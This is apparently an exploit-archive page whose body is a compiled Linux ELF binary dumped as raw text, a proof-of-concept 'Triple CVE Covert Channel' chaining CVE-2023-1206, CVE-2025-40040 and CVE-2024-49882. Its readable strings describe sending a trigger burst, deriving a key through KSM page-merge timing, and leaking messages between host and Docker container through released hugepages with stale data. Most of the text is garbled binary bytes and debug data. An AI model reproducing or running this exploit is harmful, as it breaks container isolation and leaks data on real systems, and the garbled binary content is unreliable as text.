4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / triple_cve_channel_v2
ELF>�)@ �@8
@('@@@��88   �1�1```p p p�p�p�����������88800hhhDDS�td88800P�tddydydy$$Q�tdR�tdp�p�p���/lib64/ld-linux-x86-64.so.2 GNU���GNU �E���gc��+L�����GNU-�-/04Btu�e�m9����#E�k�@� P`�J�'kz��Y� 2a"�s8�fQ���9� ���!���"�@�� �setsockoptputsstrncpyclock_gettime__stack_chk_fail__printf_chkfreemsync__isoc23_fscanffcntlbindputcharmunmapftruncatepollfopensocketstrlenusleepgetpidrecvoptargmalloc__libc_start_mainstderrin6addr_anysendtogetoptsrand__cxa_finalizestrerrorfcloseioctlsignal__snprintf_chkmemcpyfwrite__errno_locationmadvisesyscallinet_ptonmmaplibc.so.6GLIBC_2.14GLIBC_2.4GLIBC_2.17GLIBC_2.38GLIBC_2.34GLIBC_2.2.5GLIBC_2.3.4_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablep���zii
�������������ui	�ti	�p��*x�p*��؟���)��.��- �0@�/������������Ȟ	О
؞��
������� �(�0�8�@�H�P�X�`�h�p�x� ��!��"��#��$��%��&��'��(��*ȟ+П,��H��H��H��t��H����5b~�%d~@��h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h	�R���f���h
�B���f���h�2���f���h�"���f���h
����f���h����f���h��f���h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h�R���f���h�B���f���h�2���f���h�"���f���h����f���h����f���h��f���h ���f���h!����f���h"����f���h#���f���h$���f���h%���f���h&���f���h'�r���f����%>}fD���%�{fD���%�{fD���%�{fD���%�{fD���%�{fD���%�{fD���%�{fD���%�{fD���%�{fD���%�{fD���%~{fD���%v{fD���%n{fD���%f{fD���%^{fD���%V{fD���%N{fD���%F{fD���%>{fD���%6{fD���%.{fD���%&{fD���%{fD���%{fD���%{fD���%{fD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD���%�zfD��AWAVAUATUSH��H�$H��H�$H��E1�E1�L�-\=L�%SdH�%(H��$�$1��D$��H��H�$L��H�މ��:����������i��
wIc�L�>���H�;�0+1�H��$�$dH+%(��H��$[]A\A]A^A_�DL�=	z��H��yH�$�y���A��n���A��c����D$�V���E����M����H�5T����1����H�����1�H�\$���}���H�=�L���H�=bM���H�=nO�y���H�=�M�m���1���H���H�1�A���?��H��$�L����$�����1�A������$��&
��$�L��H�������H�l$@H���_	����1�1�H�D$P�T$X�uH���
�����t$H���������$���H�4$H����H���.����L��$��H��L���"����H�=�O�j���H�=#P�^���H�=GP�R�����$�H�5�;1�������$�H�5�;1���~�����$��1�H�5�;��_���H���7H���H�|$P����H�;�(����L��$��H��L����!���8���H�=�ML��$����L��1�H�5�:���H�==N�x���L��M��L��:��1����L��H��������H�
Nw��H�=�9����K���H�
,w��H�=�9�����)���H�
w��H�=�9������H�
�v��H�=�9������H�
�v��H�=�9�p������H�=�L���L��1�H�5�9����H�=2M�m����������1�I��^H��H���PTE1�1�H�=Q�����u�f.�H�=vH�vH9�tH��uH��t	�����H�=�uH�5�uH)�H��H��?H��H�H�tH��uH��t��fD�����=�uu+UH�=ruH��tH�=vu�����d�����u]������w�������NuÐ��ATf�1�UH���SH��H�ĀdH�%(H�D$x1�GG �
����������
1Ҿ�����C�Dž��H�L$A����D$H������{�D�%�4f�H�t$��o
qH�D$$D$D�d$L$����D�c�H��H�ڿ
�����u"1�H�T$xdH+%(��H��[]A\�L�d$0I��@1�L���@L�
4���H��L��
�@����fD1Ҿ�����������D������v���fD�1Ҿ�����C�Dž��������C�����SH���?��x�}����{��y[�@[�j���f.���AUATUH��SH��XdH�%(H�D$H1��$��H�T$�fD���H��<�u�H�=�6��L�mI���3����}A�M��L��@�@������u�H�D$HdH+%(uH��X[]A\A]��m���ff.�f���AVE1�AUI��ATUH��S㥛� S��i��H��0dH�%(H��$(�GL�d$H�=e6Hc��D$�D$���L�����HiT$ʚ;HT$H��H��H��H��H��%�6r��tFH�|$�d������^L���Q���HiT$ʚ;HT$H��H��H��H��H9�r������H��$(dH+%(ukH��0[]A\A]A^��A�}H�t$ �@��h��~��|$ ���w���A��A��c�i���D��H�5�5�1����1�������AUf�L�oATUH��S�H��(dH�%(H�D$1�)$I���$@��@�t$�T$�}1�A�M��L�����������u�H�D$dH+%(uH��([]A\A]��a���AWI��AVA��AUI��ATUH��S㥛� S��i��H��xdH�%(H�D$h�GL�d$�Hc�L���D$�D$��HiT$ʚ;HT$H��H��H��H��H��H�|$�
����XL���k�HiT$ʚ;HT$H��H��H��H��H9�r������H�T$hdH+%(uSH��x[]A\A]A^A_�fDA�}H�t$ �@�@���~��|$ @��u�D8t$$�v����D$%A�1���-�ff.�f���SE1�H��A������"��1��	�H�H���tH�Ǻ����H�C1�[ø����[�ff.���SH��H�?H�G�H���v[�f���
��H�;�[�S���UH�-�.H�=3SH��H����H��t$H��H����H�=�.��H����H��H�=�.�X�H��H��t'H�=�.H�����W�H��H��[]���X[]�D����foGfDo
G�D�Bfo=,GfDoGfn�H�fo5$Gf`�fo-(Gfa�H��fp��fo�H��fA��fDo�fo�fo�fE��fAa�fAi�fDo�fa�fDi�fo�f��f��fAa�fDo�fa�f��fDi�fo�fAi�fAa�fa�f��fg�f��@�H9��{����f.���H�7E1�L���1�����Ј��1H�� ��H�� H��H	�H	�H)�I�L9�u�L��H���ff.����AUE1�ATI�UH��S1�H��H�MA��A��I��H�yH��H�H���H)������H�����H���=���H�A���u�H���������H�5�,�H��1�H��H�UH��[]A\A]���ff.�@��H�1��G�ff.���H�H��t�W��u�@� H���{�ff.���SE1�H��A������"�� 1���H�H���t�C[��H�1�[�D��SH��H�?H��t�C��u	[��� ��H��C[�fD��SE1�H��A������"�� 1���H�H���t�C[��H�1�[�D��1�97���@��I��H��tE1��L��1�H��A�B0I��L9�u��D��H��tH�1�f��H���H9�u�Ð1��ff.�f���SH��H�=/��H�=�/��H�=�/����x��t:H�=0��H���������l�H�����H�=�*�h�1�[�@H�=0�T��`�H���g�����xH�=q*�7�1���H�=�/�'������[���AWI��H�=`.AVAUATUS1�H��x�t$(dH�%(H�D$h1����H�=�/���H�=�.���I�G0H��H�D$����H�5�/1����H�D$?�D$B�D$ H�D$��vi���Ffnl$I�G0A��foBf`�fo5aBfa�H��fp��fo%Bfo�H��f��Afo�fo�f��fa�fi�fo�fa�fi�fo
�Afa�f��f��Af��fo�fa�fi�fo�fa�fi�fa�f��fg�f��@�H9��w����0u��H�|$�3���I��I�G8H�L9�sA���L��L��L��E��xH��H���D$?1�L��H��D1�H����1Ѓ�1�E���&f�M�oA�@�l$$)D$@�D$@@��D�d$DL�d$@@�l$EL��A��L��M��E�܋}1�A�I�غL���������A��uտ�D��I���l$$���H�T$��L�������1҅��…��$D�L$?�ك�D��1�1ȃ�t�ھ����Hc�A�T�T$(��� D��H��)RL���H�5�-P�1�����AYAZ�D$%�D$ �������ALJtI��TI��tE1�H��D�1��������A������u�H��H9�u�H�=E'I�����A����1�H�5u-��#�f�D��H�5�-�A*Ŀ��Y�?�Y�?���H�5�&�1����fDA�U�1�I��H�5�&��L9�u߿
A��@�	�A����>H�=u-�0�E��xE����H�=y-��E��xE����� �A�M�w���f��L�l$@)D$@�D$@@��f�|$DA�?1�A�M��L���u�����A��uՋ�eH�5(-�1�A������ef�)D$@�D$@@���D$D��D$EA�?1�A�M��L���
����0�A��uտ�A����Aef�)D$@�D$@@���D$D��D$EA�?1�A�M��L���������A��uտ�A�����df�)D$@�D$@@���D$D��d$EA�?1�A�M��L���S����y�A��uտ�A��c���df�)D$@�D$@@���D$D��D$EA�?1�A�M��L��������A��u�H�T$����L���D$?�,��u�|$?�lH�=�+���H�\$E1�f�C��'TA��f��)D$@���D$@@�޻f�D$DA�?1�A�M��L���Y�������uֿ'I���l�I�� u����H�\$�W��D$��<f�A�)D$@�D$@@��f�D$DA�?1�A�M��L���������A��uտ N���l$u�H�=�#���H�5�#�1��A���H�5Z#1�H����&�H9�u�
�w�H�=P,��H�D$hdH+%(�H��x1�[]A\A]A^A_Éىھ������L$(Hc�A�T���������������H�5�(1�������H�T$��L����M�o�;�1ҿ����‰T$$��f�A�@�l$/)D$@�D$@@��D�d$DL�d$@@�l$EL��A��D�ۋ}1�A�M��L���w�������u�D���T$$I���l$/�����D$ D���D1��������D�\$(E������D�L$?H��!���H�=n)�D$;�L�H�T$;�'L�����U��u�|$;�wH�=�)���,a���E1����H�=�)��f�L�t$)D$@)D$P@��L��L���D$?A��������u�D$?A��B�D,@I��I�� u�H�T$����L���D$?��1�� D��H�5S)����A����E��~ufo|$@� D��1�H�5{)�A�Tfo|$PA�d���2���1��O�I���W���1����D1�1Љ`����H�='������H�=N)������fo|$@H�=�(A�Tfo|$PA�d�����H�=�'M�w��H�T$<��L�����D$<L�l$@�D$=�D$>�D$?��H�T$=��L�����x�H�T$>��L�����a�H�T$��L�����J��T$<�D$=H�5������	��D$?	��D$>��	�1��_�N�f��A�)D$@�D$@@��f�t$DH�\$D��A�?1�A�M��L���j�������u�H�\$���H�=B&�������ff.���AU�T�?H�5.ATUSH��(dH�%(H�D$1��<������ ��H��A�����������	��1��'��H�=�1����Ņ���fo�6��H��1��Bu@�$�D$D$�q�A�ą���E1�1�A����� �*�H������r]�-h]D�%]]H�T$dH+%(�H��([]A\A]�fD�#��8�,�H�5
'�H��1���1��f�����8��H�5
'H�¿1��n�D�����1��f������8���H�5�&H���������8��H�5'�H��1�����������1��,���f��k���8�t�H�5v�H��1����D���F����?����8�1��������ff.����H��H��t
� ���=\��x����\�����=�[��x������[�����=�[��x������[����H���f���AV�T�?H�5�AUATUSH�� dH�%(H�D$1�������H�þ ��A���0�����1��	����H�=M1��
��Ņ���foh4��H��1��Bu@�$�D$D$�����Å���E1�A����� 1����I��H���th� �>��I��H��t� L��H������ L���)������������D�����H�D$dH+%(u<H�� L��[]A\A]A^����i�����b��D���Z��E1���D���I��������f���ATH�=�$U1�S1�H��0dH�%(H��$(1��>���D@H�xH��H�Hǀ�H��H��H)������H�H��H��H��H��dtm����H��H��u�A���t%H��H��Ic�H�,��H�;H���d��H9�u�H��$(dH+%(u)H��0D��1�[H�5#$]A\����A�d����ff.���AVAUATI��UH��H�=�SH�� dH�%(H�D$1��>��H�=�#�2��H�=+�&����t���
H�=$������H��H���H�xH��H�HǀH��1�H)������H��7�L���X�C����P����C����9�I��F�H�C�SA�Ѓ��I�$H�{L��H��H�KK�L�J�L�H��H)�H)����H�E���J�41���H���H9�u�SH��T1�fDH�ƒ��0TH��I9�u�� H��I���T��H�=U#A�L�m�����H�5�1���)���S�1�H�5�����S�1�H�5�����S�1�H�5������S�1�H�5�����H�=
#�e��f�����)$�$@��f�T$�}1�A�M��L�����������A��u�H�=�"���� ����H�=#���H�߻����������f�����)$�$@��f�D$�}1�A�M��L���t���������uփ��H�=�"���1�H�T$dH+%(��H�� []A\A]A^����u?������A�$���K��C�T�fB�T����f��C����A�$�SC�T�B�T����H�=� ���������h���H�=)!�������e��D��AWAVAUATUSH��H�$H��HH�T$H��H�=H�t$dH�%(H��$81����H�="���H�=��~����t���0H�=!"�d��H�T$&�0uH���m������|$&���H�=C"L�%�E1��$����xL��L�-\"L���D$(������A�����H��H��t5H�T$(H�5xH��1�����H���(���T$(�1�H�5N"�!����TD���1�H�5Z"�2L�5,���H�=r"���D�|$�}H�T$'�d��H���D$'����u�|$'��mL��L�����I��H��t7H�T$,H��L��1��D$,���L���p���T$(���t�L$,9��k��t��S���x���H�=a"D�|$����H�=�"E1�E1�1������C�L���h��i��x�&��=n�w��tE��D��ڿH�5x&1���������tf�tS��t\���I��H���A���87�u��P�
zS9���A��A���(A���>L����������u��E��D���H�5D$1��m��H�=���������@H��$8dH+%(��H��H[]A\A]A^A_��D9x�~H�="���H�=�"���H�=�"���H�=�"�����H�51�������7�H�51�����A�U�1�H�5?#���A�U�1�H�5����A�U�1�H�5��|��A�U�1�H�5�e��A�E�P�����"���L�\$0A��I�uL�߃��;1Ҩ�
�����H��T1��H�ƒ��A0H��I9�u�L��I�<1��
H���H9�u�A�M9�����H�5$1�������@���>�����f��1�H�5j 1���������H�5��1��m�������H�=���������H�=�D�|$���������������������f�H�������͉����H����H�T$H��H9�HFƒ��������t�T$0H�L$���L�|$H�=]!A�����<��L������E��D���H�5U!�1��y��H�=�!�
��L���1�H�5�!�W��H�="����1����@H�t$H�T$0H���H�~I�L�H��H�L�H��L��H)�H)΍���H��L���DH�5��1�D�|$�������H�=\�w���q����T$0H�t$���A�L��L������H�t$A�L�f�L����H�=�4���.������f.���SH��H�=!"���H�=�"���H�=#����H�=U#����H�ڿ1�H�5��2��H�=�����H�=�#���H�=$���H�=����H�=����H�=����H�=��~��H�=�r��H�ڿ1�H�5�#���H��H�5
$[�1������H��H���
zh::ffff:%sw10
/sys/kernel/mm/ksm/run1
[KSM] Baseline: %lu cycles
[Phase1] Trigger sent![Phase1] Trigger received!(FALLBACK)[Phase2] Key established![Phase2] Key: %02x[Phase2] Key sent to peer[Phase2] Session ID: 0x%08X
[Phase2] Final key: covert/dev/udmabuf[udmabuf] mmap failed: %s
leak[Phase3]   Magic: 0x%08X
[Phase3]   Session: 0x%08X
[Phase3]   Length: %u bytes
[Phase3]   Sequence: %u
[Phase3]   Checksum: %u
%d[Phase3]   Attempt: %d
[Phase3]   Magic: 0x%08X ✓
[Phase3]   Length: %u
[Phase3] Message not capturedUsage: %s [options]

Options:  -p IP       Peer IP address  -m MSG      Message to send  -v          Verbose output  -h          Show help
Example (Host + Docker):irp:m:vhFailed to init trigger
Failed to init KSM
Trigger phase failed
Key agreement failed
Failed to send message
RECEIVED REPLY: %s
RECEIVED MESSAGE: %s
ACK: %s  Messages sent:     %d
  Messages received: %d
  KSM merge rounds:  %d/%d
[Trigger] Sending CVE-2023-1206 burst...[Trigger] Waiting for CVE-2023-1206 trigger...[Trigger] Detected! (%d packets)
/sys/kernel/mm/ksm/sleep_millisecs
╔══════════════════════════════════════╗║ Phase 1: TRIGGER (CVE-2023-1206)     ║╚══════════════════════════════════════╝[Phase1] Initiating connection...[Phase1] Waiting for trigger...[Phase1] Timeout waiting for trigger║ Phase 2: KEY AGREEMENT (CVE-2025-40040)║[Phase2] Deriving %d-bit key...
[KSM] Bit %3d: timing=%4lu our=0x%02x peer=0x%02x -> key=%d %s
[Phase2] Progress: %d/%d bits
[Phase2] KSM high-timing rounds: %d/%d
[Phase2] Key entropy estimate: %d/256 bits set (%.1f%%)
[Phase2] ⚠ WARNING: Key may have low entropy![Phase2] Synchronizing keys...[Phase2] Waiting for peer to be ready...[Phase2] Sending session ID: 0x%08X
[Phase2] Peer ready, sending key...[Phase2] No ack from peer, sending key anyway...[Phase2] Waiting for initiator ready signal...[Phase2] Initiator ready, receiving session ID...[Phase2] No ready signal, proceeding anyway...[Phase2] Receiving key from peer...[Phase2] Received %d/%d key bytes
[Phase2] Using synchronized key from initiator[Phase2] WARNING: Partial key sync (%d/%d bytes)
[Phase2] ERROR: No key bytes received! Using local key.[Phase2] ✓ Key agreement complete![udmabuf] memfd_create failed: %s
[udmabuf] ftruncate failed: %s
[udmabuf] open /dev/udmabuf failed: %s
[udmabuf] UDMABUF_CREATE failed: %s
[Phase3] Clearing old hugepages from pool...[Phase3] Cleared %d hugepages
║ Phase 3: SEND MESSAGE (CVE-2024-49882)║[Phase3] Error: Key not established![Phase3] Allocating hugepage via udmabuf...[Phase3] Failed to allocate udmabuf hugepage[Phase3] Message encrypted and written to hugepage[Phase3] Signaling receiver to start scanning...[Phase3] Waiting for receiver to start scanning...[Phase3] Releasing hugepage (CVE-2024-49882 trigger)...[Phase3] Message sent! Hugepage released with stale data.║ Phase 3: RECV MESSAGE (CVE-2024-49882)║[Phase3] Waiting for scan signal...[Phase3] Timeout waiting for scan signal[Phase3] Got signal! Waiting for hugepage release.../sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages[Phase3] Initial free hugepages: %d
[Phase3] Session: 0x%08X, Sequence >= %u
[Phase3] Waiting for release signal (max 5s)...[Phase3] RELEASE SIGNAL RECEIVED! Starting capture...[Phase3] HUGEPAGE RELEASED: %d -> %d
[Phase3] No release signal, starting capture anyway...[Phase3] Capturing hugepages...[Phase3] Skip: session 0x%08X (need 0x%08X)
[Phase3] (suppressing further session mismatch messages)[Phase3] Skip: seq %u (need >= %u)

[Phase3] ████████████████████████████████████████[Phase3] ████ CVE-2024-49882 EXPLOITED! ████[Phase3] ████ LEAKED PAGE CAPTURED!     ████[Phase3] ████████████████████████████████████████
[Phase3]   Session: 0x%08X ✓
[Phase3] ✓ Checksum verified![Phase3] Scan complete: %d attempts, %d captured, %d wrong session

[Phase3] ═══════════════════════════════════════[Phase3] ✓ DECRYPTED MESSAGE: "%s"
[Phase3] ═══════════════════════════════════════
[Phase3] ✗ Checksum mismatch (got %u, expected %u)
[Phase3] Attempt %d: %d captured, %d wrong session
╔════════════════════════════════════════════════════════════════╗║  Triple CVE Covert Channel                                     ║║  CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882               ║╚════════════════════════════════════════════════════════════════╝
  -i          Initiator mode (send first)  -r          Responder mode (receive first)  Docker:  sudo %s -r -p 172.17.0.1 -v
  Host:    sudo %s -i -p 172.17.0.2 -m 'SECRET' -v
║  Trigger: CVE-2023-1206 | Key: CVE-2025-40040 | Data: CVE-2024-49882 ║
════════════════════════════════════════════════════════════════════════════════
╔════════════════════════════════════════╗║ SUMMARY                                ║╚════════════════════════════════════════╝����8���8���8�������8���8���p���8�������8���8���8��������������� Y@p?�; #����TL���|\����ܫ���l���<\����l��������<�����P\�������,�������<̷��\\����L���������\����|�����������8<���X����x�����̻�������������\��4|��p����\���\�����D����zRx�(���&D$4`����FJw�?9*3$"\ȧ��t����������0������F�G�I �G��
 AABD����&E�V
EA8� ����F�B�A �D(�D��
(A ABBA@0����hF�E�E �A(�K0�O��
0A(A BBBI8t�����F�J�A �D(�IPe
(A ABBAH����3F�E�E �E(�A0�K8�L��
8A0A(B BBBG����UE�H
AFH���=E�Q
JX0<h����E�O�G b
DAEAAApĴ��������T4����F�E�K �D(�F0v(A ABB�d����p���%�����KE�s
HJ����:E�S
HY8ܶ��KE�s
HJX���l���+�$���#�@����E�f
E\���F�L�B �B(�A0�A8�F���M�Q�B��
8C0A(B BBBA8 ��F�S�A �A(�DP�
(A ABBGP��gH^@h\��nF�S�B �A(�A0�DP
0D(A BBBD0�����F�H�C �I��
 KHBE@�T���F�B�B �D(�K0�DP�
0A(A BBBHP$����F�B�B �B(�A0�A8�G� I�!�
8A0A(B BBBHx���E��P� ����F�B�B �B(�A0�A8�G� L�@L�J�
8A0A(B BBBF�*p*p 
�Qp�x����o���

���xp	���o���o�
���o�o�
���o��0 @ P ` p � � � � � � � � !! !0!@!P!`!p!�!�!�!�!�!�!�!�!"" "0"@"P"`"p"�"�"�"�������������GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0<�*+'@%���X��
{	�6 R WY0D �
 � �

�	&K �
�(RZintK
@*= y
�-6
l��
���
`�
�
��
�=
��
x	��
��!�5
0
 �
5
�
�=12
�	1�	Y	3	�	6	
	�	7	
	V	8	
	F	9	
 	�
	:	
(	�	;	
0	�	<	
8	`	=	
@	�	@	
H	�	A	
P	
	B	
X	Q	D�`		F�h	�	Hp	$	It	&
	J�x	K	MR�	=	NY�	5	O��	�		Q��	*
	Y
��	
	[��	+		\��	�	]��	L	^	D�	�	_
*�	�	`�	�	b�
6

1[?	+?��1�6�?
�?(	�6 0
z	N��0)@Q�) t
��
�

�1_�	�	�	� M�0�\
�	`5�K�
�s
B�
��2�
%
@
$

�H�]^=#XTUN
��
�
+�	"�
+R1���	i�X	t�
��6
_=�EV	�J	�,� 0@��"f
"z"$"7"�	"� "�@"�	�+W
+n	++� +�@Lg��X	�!
�|��
�	T
�`S	
�}�a��Aw�
�Ai��A����6�6�61}�+	l�	�5@Y�+
�!61e${bfd&		�'l	(l6�y�	�c0�	�	w�		�		L�E	�
��(
���M/��0D�
1�2k2�M/��D��	2�	�N�����������*��K��w�
���O62��<���	L�N���(��dksm��0��/@C��P%`�	Pekey�
�T%6�	t%��	x%��
�|%K���%��	�%�	�	�%��	�D�6��6�6?2}��L�P	�Q�ZR�+
S�GT��X	�	Y	��Z	�P7?c	=�X�~	�[�	�	f����	.�Y�	D*!J�*�	!8�D
*36	�2
dM
Q�%Q�
#*u
6�
��
!
�
�!3�
�
gu%
�
!tC��
�Pr��
Dhs��4LR!!Rh1G.C	�])!�)y$L�D*�^�D*X9D�D*�!$���!+!F^,ED**3W,sD**3O�D*���<6H3����<63tJ
�<�4/
9�^
�*��!D	fu
� :�
F�p�
��!l�
��g	f��@%��e����~p�	���
��
��T	opt	#ctx ���i0n1(��/Qe��_Zps)s)L
Gup:8)ip�)�rU	7cT1QG=p�)�)S
�LpRP�)UsU	pv=p�)�)T
�Lpfd�)
U2T	OcQ|=p�)�)U
?Lp~|�)UsU	�v�'1.`UsT�е�'PUsT|Q
b(�r�Ye����(iP/`e��_=p�(�[
Lp���(UsU	pv�p�(�a
��p���p���p���(�sU}T
Q2R
X	ycY|=p�(�(\
�Lp���(
U2T	ccQ|=p�(�(]
5Lp���(UsU	�v�(1.UsT}z(PUsT|Q
�o�&�!��o	�o�o-+=p�&�&Lp<:�&UsU	@s=p�&�&RLpPN�&UsU	t=p�&�&�Lpdb�&UsU	 v=p�&�&�Lpxv�&UsU	�t�o�&�#T�o���o���o���& vU�ܾTQ?�^9'9'
7��^��=p�'�'g�Lp���'UsU	pw=p�'�'h&Lp���'UsU	�w=p�'�'iuLp
�'UsU	 x=p�'�'j�Lp �'
U2T	�c=p�'�'kLp86(
U2T	�c=p((lxLpPN1(
U2T	�cR
Zp�(�(.	�uphf)ip)�rU	�bT1QGZp
)
)3	4up�~)ip*)�rU	�bT1QCZp/)/)>	�up��)ipL)�rU	cT1QEZpQ)Q)D	�up��)ipn)�rU	!cT1QE�%~	UvTsQ}
�%tv&c	EU2T	�*}&\U0
�&�

�&R	

'fa'�k�UsT1'Bc�Uv
K'�>S'�Y�Usg'�@UsT�ܵ�9(�kUsA(�b0UvK(W^JU���
X(t
�)jwtO6&�Q��P
���=pQ���Lp��$QUsU	@s=p$Q$Q�7Lp
0QUsU	t=p0Q0Q��Lp<QUsU	Pt=p<Q<Q��Lp20HQUsU	�t=pHQHQ�/LpFD^Q
U2T	,bQs=p^Q^Q�~Lp^\jQUsU	Bb=pjQjQ��LprpvQUsU	`u=pvQvQ�Lp���QUsU	�u=p�Q�Q�kLp���QUsU	Kb=p�Q�Q��Lp���QUsU	ib=p�Q�Q�	Lp���QUsU	�b=p�Q�Q�XLp���QUsU	�b=p�Q�Q��Lp���QUsU	�b=p�Q�Q�Lp���Q
U2T	�uQs*=p�Q��'Lp
�u�7�Q
U2T	�uQ�U�
>PJ��'.ctx>+'.7>6
TB�>E*���J
���_�X�]Z	9/%[	|j�\	��6]	H:m^	��_u_	��fb)��� �p��1#sigq���_L% �{��_=p�Pb�Lp�P
U2T	xnL�	 UT~Q��_LGU=pTOrt
h Lp&$YOUsU	@n�K�c� UvT�Q��_Rd�K]U}T|�8(hp�DV8������'��,.,		�1#�	����_-���	�	*�!E�*�	�	�o�OA��!p�	�	p

�o5
+
*=p�OX�Lpf
d
�OUsU	@q�oFN�
"p|
x
p�
�
�o�
�
H]wNwN'��"w]k]_]" S]1/�]wN'�]B>j]�N�"�")])]*]YW6]�N7]jfB=p�N�N�Lp���N
U2T	�r=prMrM�
�#Lp��~MUsU	�o=p~M~M�
�#Lp���MUsU	p=p�M�M�
$Lp���MUsU	Xp=p�M�M�
m$Lp���MUsU	�p=p�M�M�
�$Lp���M
U2T	�aQs=p�M�M�
%%Lp�M
U2T	�aQ����|=p�M�M�
y%Lp(&�M
U2T	 q=p�M�M�
�%Lp@>�M
U2T	�a=p�M�M�
!&LpXVN
U2T	�a=pNN�
u&Lppn+N
U2T	�a=p�N�N ��&Lp��
O
U2T	hoQ0R1=pOO �''Lp��#O
U2T	�n=p0Oh�j'Lp��<OUsU	(o�L�
U}=p|L|L�
�'Lp���L
U2T	sQsR|X~hL�
�'U}
�LN7�N�#(U
��O�
U}=p�J�@{(Lp���JUsU	�d=p�J�JA�(Lp���JUsU	�l=p�J�JB)Lp


�JUsU	0e=p�J�JKh)Lp 

�JUsU	�l=p�J�Q�)Lp4
2
KUsU	@m=pXKXKf	�)LpH
F
oK
U2T	�m=poK�iM*Lp`
^
�K
U2T	�mR=p�Ko�*Lpx
v
�KUsU	n=pDL��	�*Lp�
�
ILUsU	�n=pIL��+Lp�
�
]LUsU	�n=pMx��+Lp�
�
#M
s+U2T	`qQsR|X~P
U2T	`qQsR|X~=p#M#M�	�+Lp�
�
/MUsU	b=pPP�	D,Lp�
�
#PUsU	�q=p#P#P�	�,Lp9P
U2T	(rQ=p9P9P�	�,Lp EPUsU	Pr=p�P�PM	<-Lp42�PUsU	m=p�P�PE	�-LpHF�PUsU	k�J�c�-UvT�Q��_R
0u2K]�-U}T|PK�	.UsT	�aQ��_XKG.Us
Qjw��
��F��N7ctx�('.bZ�9��hp
D���,.=p�FI��.Lp:8�FUsU	�d=p�F�F4/LpNL�FUsU	�j=p�F�F�/Lpb`
GUsU	0e=pGG	�/Lpvt$GUsU	8k�o5G5G. 0�o���o���o���o�GYb0p��p���o]�Gp�0]62]UOp*]xr46]�7]��H]H�'1w]��k]��_]��S]
4�]��],&=p<H�!j1LpKIRHUsU	�k�f�H�* 2�f_]�fpn�f���f���f�H+�f���H/
2T~Q@R0X}YL	I�U
�=pRHRH"t2Lp��gH
U2T	9a=pgHgH#�2Lp��}H
U2T	Sa=p}H}H$3Lp���H
U2T	oa=p�H�H%p3Lp���H
U2T	�a=p�H�H&�3Lp��H
U2T	�a=p�H�H)4Lp�HUsU	�k=pII-b4Lp,*IUsU	lHnII
.�4Un@>%I�U �=p%I%I1�4LpRP1IUsU	@l�fHI�6�5�ffd�fwu�f����f���faI*�f��|I/
�5T~Q@R0X}YL�I�U
�Hn>I>I
5�5Un��HI�U��=p�I�I9L6Lp���IUsU	xl=p"J"J	�6Lp��.JUsU	k=p8J8J	�6Lp��DJUsU	hk
)G�:�G�	7U|<H�	37UsT@A$Q4
>Io:
KJjw��DPDn�o:��	����	)�������	^X��D�y��D��[o�D�D�E8vo��jo���D
U	aT2�o:E:E�	�8p��p���oJEr�U|T~Q@A$�D�
�8U
?T	4aQT�D�
9U}T@A$�Du
&9UsT
	Q2�DY
N9UvTBu@Q��E��9U0T@A$Q1R1XsY02E�	�9U@A$WEy�9U~T@A$^E^
�9UseE^
�9UvmE^
:U}�E^
:Us�E^
1:Uv�E^
I:U}�E^
a:Us
�Ejw&r��Cg��:��%D�Cy�:U�UT@A$
D^

D^

8D^
�}D�A��>�	;3��	h^�������	����D��[o)B)B��;vo��jo��<B
U	aT2=p�B��	<Lp���B
U2T	�i=pC��	N<Lp"C
U2=pFC��	v<Lp-+=pkC��	�<LpECrC
U2T	hj=p�C��	=Lp][�C
U2T	a�A�
5=U
?T	aQTB�
T=U}T@A$)Bu
x=UsT
	Q2oBY
�=UvTBu@Q���B��=U0T@A$Q3R1X|Y0
�B�

�B�

C�

C�
*C^
>U}
5C�

<C�

UC�

\C�
yC^
k>Uv�C^
�>Us
�C�

�C�
�C^
�>U|�C^
�>Uv�C^
�>Us
�Cjw&�c�E���@Ig�@��y�h	}s��?ik��
hplD���o�E p	�?�o�o�o.(
=FN7HF)�?iuMG
lF�
=p�E�e0@Lp}{�EUsU	�j*=pqF0yLp��k�F
w@U2T	�j
�FjwD�@6c�"6���Yctx")'.��T"2C�0�YF�	?5ivEbit2�sm:���h=
�P���\[����\
ma�
p
�� a�6�6�4	B7a��+a��Ca
Ma4Ya�Za.,Hni7i7
7	QBUn><s7�U
0u�f�7�7i_

C�fPL�fjf�f���f���f8:�f��08/
�BT}Q@R0XsYL:8�U
�HnP8�`
JCUn��U8�U
�=p�8�8!
�CLp���8
U2T	xfQsR~=p�=�=�
DLp���=
U2T	�fQsR
Hn%>�d
HDUn��*>�U
��f*>*>re
E�f���f�f0*�f���fU>G�fMKy>/
�DT|Q@R0X}YL�>�U
�}7`EU��~i8�cKEUTsQ��~R
�>�cUTsQ��~R
���Ei�c[R9b����9'"Fi���*=p�9	�)Lp���9
U2T	�`,N#ack�����.Gi��fj<]<I�
G�f%#�f;9�fMK��f���f|<*�f\Z�</
GT}Q@R0X~YL�<�U
��<�U
'�KHi�lj�f�<�<N�
H�f|z�f���f���f���f�<+�f��=/
�GT}Q@R0X~YL=�U
�BHn==
�
Un��)=�U
 NHn,:?�	�HUn��@:�U ��f@:O�	@I�f���f���f�O�f���f`:+�f
{:/
(IT}Q@R0X~YL�:�U
�=p�:_�	�ILp�:
U2T	�g�f�:o�	>J�f75�fFD�fWUo�f���f�:+�ffd�:/
&JT}Q@R0X~YL�:�U
��f
;�	�J�fvt�f���f���f���f';+�f��B;/
�JT}Q@R0X~YLL;�U
��fb;��	�K�f���f���f����f���f�;+�f���;/
�KT}Q@R0X~YL�;�U
��f�;��	`L�f���f�f$"��f���f�;+�f31�;/
HLT}Q@R0X~YL<�U
�=p3<3<�
�LLpCA?<UsU	hHn�<��	�LUnWU�<�U��=p0=0=�	=MLphf<=UsU	�`=p�A�A�
�MLp|z�AUsU	�g;��MU
�b;��MU
��;��MU
�$<�cUT�Q��~R
�RT
��������
�������@�P#b3����#b2����#b1�%���#b0�-���=p�@�@�
�NLp���@UsU	xh=p=A�
6OLp��BA
